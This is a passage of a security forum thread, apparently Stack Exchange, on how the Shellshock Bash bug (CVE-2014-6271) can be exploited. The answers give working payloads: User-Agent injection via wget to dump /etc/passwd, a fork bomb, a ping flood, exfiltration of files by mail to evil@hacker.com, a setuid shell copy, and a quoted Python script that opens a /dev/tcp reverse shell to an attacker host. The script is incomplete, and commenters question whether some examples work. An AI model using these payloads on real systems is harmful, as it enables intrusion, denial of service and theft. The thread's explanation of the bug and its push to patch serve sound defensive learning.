I read some articles (article1, article2, article3, article4) about the Shellshock Bash bug (CVE-2014-6271 reported Sep 24, 2014) and have a general idea of what the vulnerability is and how it could be exploited. To better understand the implications of the bug, what would be a simple and specific example of an attack vector / scenario that could exploit the bug?

up vote 153 down vote accepted

A very simple example would be a cgi, /var/www/cgi-bin/test.cgi:

echo "Content-type: text/plain"
echo "Hi"

Then call it with wget to swap out the User Agent string. E.g. this will show the contents of /etc/passwd:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

To break it down:

"() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

Looks like:

() {
echo \"Content-type: text/plain\"
/bin/cat /etc/passwd

The problem as I understand it is that while it's okay to define a function in an environment variable, bash is not supposed to execute the code after it.

The extra "Content-type:" is only for illustration. It prevents the 500 error and shows the contents of the file.

The above example also shows how it's not a problem of programming errors, even normally safe and harmless bash cgi which doesn't even take user input can be exploited.

  • 4
    Very nice @mgjk. Simple and specific, just what I was looking for. Thanks! – Rob Bednark Sep 25 '14 at 17:38
  • 1
    Thanks, this was useful. Also, it should be "/var/www/cgi-bin/testing.cgi" to match the wget example (but we get the picture). If patched, I'd presume the downloaded file will just say "Hi", correct? – HidekiAI Sep 25 '14 at 21:15
  • 3
    @SamWatkins I tried this against a php system("/usr/bin/ls") call, but could not generate any unusual behaviour. I've heard your claim elsewhere too, have you been able to exploit it? – mgjk Sep 26 '14 at 2:02
  • 2
    The environment variables are made available to bash verbatim as part of the CGI design. so somewhere there is a var userAgent = headers["User-Agent"] ? – wal Sep 28 '14 at 2:04
  • 3
    @rubo77 The CGI exploit against shellshock is just one attack vector. Another vector is the DHCP client for Linux systems. I expect there will be more. The above example is only for cgi. It's best not to assume we know all the vectors. – mgjk Sep 29 '14 at 12:21

With access to bash, even from the POV of a web user, the options are endless. For example, here's a fork bomb:

() { :; }; :(){ :|: & };:

Just put that in a user agent string on a browser, go to your web page, and instant DoS on your web server.

Or, somebody could use your server as an attack bot:

() { :; }; ping -s 1000000 <victim IP>

Put that on several other servers and you're talking about real bandwidth.

Other attack vectors:

# theft of data
() { :; }; find ~ -print | mail -s "Your files" evil@hacker.com
() { :; }; cat ~/.secret/passwd | mail -s "This password file" evil@hacker.com

# setuid shell
() { :; }; cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash

There's endless other possibilities: reverse shells, running servers on ports, auto-downloading some rootkit to go from web user to root user. It's a shell! It can do anything. As far as security disasters go, this is even worse than Heartbleed.

The important part is that you patch your system. NOW! If you still have external-facing servers that are still unpatched, what are you doing still reading this?!

Hackers are already doing these things above, and you don't even know it!

  • 13
    have you actually tried those exploits (especially the first example) or are you just hypothesizing they work? I'm asking because I tried those on a vulnerable Ubuntu precise and nada... – lightxx Sep 25 '14 at 13:01
  • 6
    That's a good answer, but I'm not sure it exactly answers the question. How might a web user exploit this through a browser? – TimC Sep 25 '14 at 13:06
  • 6
    @Ajedi32 the "old" CGI protocol communicates entirely with environment variables, it will put e.g. HTTP_USER_AGENT into a variable. So if that is set on the client side, it could pass the attack. – Alex Lehmann Sep 25 '14 at 14:52
  • 35
    This answer could probably benefit from a more thorough explanation of the exploit itself. E.g. How could putting these strings in your user agent result in them being executed by bash? – Ajedi32 Sep 25 '14 at 14:59
  • 11
    Are your "theft of data" examples backwards, or is there something in this vulnerability that actually reverses how the pipe works? – Robert Novak Sep 25 '14 at 15:38

It's not just servers; client software can be affected as well. Here is an example of a vulnerable DHCP client. If a machine has such a vulnerable client (and broken bash), any machine on the subnet can send malformed DHCP responses and get root privileges.

Given the widespread use of environment variables to share state between processes in Unix and the amount of software potentially involved, the attack surface is very large. Do not think that your machine is safe because you don't run a web server. The only fix is to get bash patched, consider switching to a less-complex default shell (such as dash), and hope that there aren't a lot more similar vulnerabilities out there.

  • 4
    The DHCP exploit concerns me far more, frankly. Every distro I have experience with runs the web service as a non-privileged user, so the damage is constrained to unprotected files (/etc/passwd sounds scary but it's not much more than the list of users - that can provide an attack vector for password guessing, but...) and the web service itself (I don't run one). But probably every DHCP client runs as root, and everybody runs one. This would be a huge issue in a public WiFi hotspot, unless it fences the guests from each other. – BobDoolittle Sep 26 '14 at 18:06

You don't need to be using bash explicitly for this to be an issue. The real problem is allowing attackers to have a say in the value of environment variables. After the environment is set, it's only a matter of time before some shell gets executed (maybe unknown to you) with an environment it was not prepared for.

Every program (bash, java, tcl, php, ...) has this signature:

int main(int argc, char** argv, char** arge);

Developers are in a habit of checking argc and argv for cleanliness. Most will ignore arge and make no attempt to validate it before spawning subshells (explicitly or implicitly). And in this case bash is not correctly defending itself from bad input. In order to wire an application together, subprocesses get spawned. At the bottom of it, something like this happens:

//We hardcoded the binary, and cleaned the arg, so we assume that
//there can be no malicious input - but the current environment is passed
//in implicitly.
execl("/bin/bash", "bash", "-c", "/opt/initTech/bin/dataScrape", cleanedArg, NULL);

In your own code, there may be no references to bash. But perhaps you launch tcl, and something deep inside the tcl code launches bash for you. It would inherit the environment variables that are currently set.

In the case of the vulnerable version of bash, something like this is happening:

int main(int argc, char** argv, char** arge) { //bash's main function
    parseEnvironment(arge); //!!!! read function definitions and var defines
    doArgv(argc, argv);

Where parseEnvironment sees a bunch of environment variable definitions that it doesn't necessarily even recognize. But it will guess that some of these environment variables are function definitions:

HTTP_COOKIE=() { :; }; /usr/bin/eject

Bash has no idea what an HTTP_COOKIE is. But it begins with (), so bash guesses that this is a function definition. It also helpfully allows you to add some immediately executed code after the function definition, because perhaps you need to initialize some side effects with your function definition. The patch removes the capability to add side effects after the function definition.

But the whole idea that an environment variable can lie dormant with attacker supplied function definition in it is still highly unsettling!

recieve='() { echo you meant receive lol; }'

If the attacker can cause this variable name to get a value that it supplied, and also knows that it can wait for a bash subprocess to try to invoke a function by that name, then this would be another attack vector.

This is just the old admonition to validate your inputs. Since shells may get spawned as a surprising implementation detail, never set an environment variable to a value that is not tightly validated. That means that any possible program that reads this environment variable won't do something unexpected with the value; such as execute it as code.

Today it is bash. Tomorrow it's java, sh, tcl, or node. They all take an environment pointer into their main function; and they all have different limitations on what they will safely handle (until they are patched).

  • 3
    That's right. The moral of the story is never trust user input. – Question Overflow Sep 27 '14 at 7:46
  • 3
    I thought allowing someone to set environment variables and functions was intentional, and the bug was that in addition code would b executed? Ok, setting environment functions sounds dangerous, but that's not the shellshock bug - it's a "feature". – gnasher729 Sep 29 '14 at 7:51
  • If you updated on Friday, it took the ability to just add the immediate code after the function definition. If you updated again, it takes away the ability to do this as well (good!): x='() { echo foo; }' bash -c foo – Rob Sep 29 '14 at 21:18

Here's an example through a CGI script for a remote attack, untested - Taken from http://pastebin.com/166f8Rjx

Like all exploits it relies on circumstances. Connects to a remote cgi file on the web-server and launches a reverse shell

() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

#CVE-2014-6271 cgi-bin reverse shell

import httplib,urllib,sys

if (len(sys.argv)<4):
    print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
    print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
    "test":reverse_shell }
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

protected by Adi Sep 26 '14 at 3:44

Thank you for your interest in this question. Because it has attracted low-quality or spam answers that had to be removed, posting an answer now requires 10 reputation on this site (the association bonus does not count).

Would you like to answer one of these unanswered questions instead?

Not the answer you're looking for? Browse other questions tagged or ask your own question.